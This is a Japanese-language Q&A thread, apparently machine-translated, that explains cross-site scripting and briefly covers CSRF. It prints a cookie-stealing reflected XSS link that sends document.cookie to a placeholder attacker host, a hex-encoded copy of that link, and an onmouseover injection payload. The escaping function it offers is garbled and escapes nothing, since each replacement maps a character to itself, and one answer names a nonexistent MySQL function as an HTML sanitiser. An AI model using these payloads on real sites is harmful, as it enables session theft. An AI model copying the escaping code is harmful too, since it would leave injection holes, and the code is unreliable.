XSSがどのように機能するかをわかりやすい英語で説明できますか? 多分例で。グーグルはあまり役に立ちませんでした。
6 に答える
クロス サイト スクリプティングは基本的に動的 Web ページのセキュリティ上の脆弱性であり、攻撃者が悪意のあるリンクを作成して不要な実行可能な JavaScript を Web サイトに挿入することができます。この脆弱性の最も一般的なケースは、GET 変数がその内容をフィルタリングまたはチェックせずに出力またはエコーされる場合に発生します。
被害者がリンクをクリックすると、悪意のあるコードが被害者の Cookie を別のサーバーに送信したり、影響を受けるサイトを変更してフォームを挿入したり、ユーザー名とパスワードを盗んだり、その他のフィッシング手法を使用したりできます。
悪意のあるリンクの例:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
悪意のあるコードを 16 進数などでエンコードすることも一般的です。
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
アプリケーションの外部からの文字列がコードとして解釈される可能性がある場合は常に、XSS の脆弱性が存在します。
たとえば、次のようにして HTML を生成する場合:
<BODY>
<?= $myQueryParameter ?>
</BODY>
$myQueryParameter
変数に<SCRIPT>
タグが含まれている場合は、コードが実行されます。
入力がコードとして実行されないようにするには、コンテンツを適切にエスケープする必要があります。
上記の問題は、$myQueryParameter
変数にプレーン テキストが含まれていることを認識することで解決できますが、単純にプレーン テキストを HTML に挿入して、それが機能することを期待することはできません。
そのため、プレーン テキストを HTML に変換して、HTML ページに配置できるようにする必要があります。ある言語の文字列を別の言語に変換して埋め込みできるようにするプロセスは、エスケープです。
次のような関数を使用して、プレーンテキストを HTML にエスケープできます。
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
簡単な英語で
XSS は、ブラウザーがコードを実行できるように、スクリプト (つまり JavaScript コード) を Web ページに挿入することです。これは、Cookie やページ上のその他のデータを盗むために使用できるため、悪意があります。例えば:
検索ボックスの HTML:<input value="*search value here*">
を挿入する" onmouseover="alert(1)
と、最終的な HTML は次のようになります<input value="" onmouseover="alert(1)">
。マウスを検索ボックスの上に置くと、「アラート」が実行されます。
「ウィキテキスト」で
クロスサイト スクリプティング (XSS) は、Web アプリケーションで通常見られるコンピューター セキュリティの脆弱性の一種です。XSS を使用すると、攻撃者はクライアント側のスクリプトを他のユーザーが表示する Web ページに挿入できます。攻撃者は、クロスサイト スクリプティングの脆弱性を利用して、同一オリジン ポリシーなどのアクセス制御を回避する可能性があります。
XSS とは何か、PHP 開発者として XSS に対処する方法についての記事を書きました。また、両方のタイプの XSS 攻撃がどのように見えるか (持続性と非持続性) の例もあります。
XSS 攻撃には次の 2 種類があります。
- 非永続的: これは、スクリプトをパラメーターの 1 つとしてターゲット ページに埋め込む、特別に細工された URL です。悪質な URL は、受信者をだましてクリックさせる目的で電子メールで送信される可能性があります。ターゲット ページがパラメーターを誤って処理し、URL 文字列を介して最初に渡されたコードを意図せずにクライアントのマシンに送信します。
- 永続的: この攻撃は、入力データを適切に処理せずにフォーム データをデータベースに保存するサイトのページを使用します。悪意のあるユーザーは、クライアントの Web ブラウザーで無意識のうちに実行される一般的なデータ フィールド (姓など) の一部として厄介なスクリプトを埋め込むことができます。通常、厄介なスクリプトはデータベースに保存され、クライアントが感染したページにアクセスするたびに再実行されます。
XSS -
Web サイトがユーザーを信頼し、ユーザー入力をフィルタリングしない場合に発生する脆弱性。ユーザー入力により、不要なスクリプトがサイトで実行されます。
防止:
HTML 入力サニタイザーを使用してユーザー入力をフィルター処理する
(例: strip_tags、htmlspecialchars、htmlentities、php の mysql_real_string_escape)
CSRF:
ユーザーがサイトを信頼しているにもかかわらず、サイトがユーザー情報を取得して悪用する可能性がある場合に発生する脆弱性。
防止:
- フォームがレンダリングされるたびに csrf_token を一意に自動生成します。csrf_token は、検証のためにフォーム送信時にサーバーに送信されます。例: https://docs.djangoproject.com/en/dev/ref/contrib/csrf/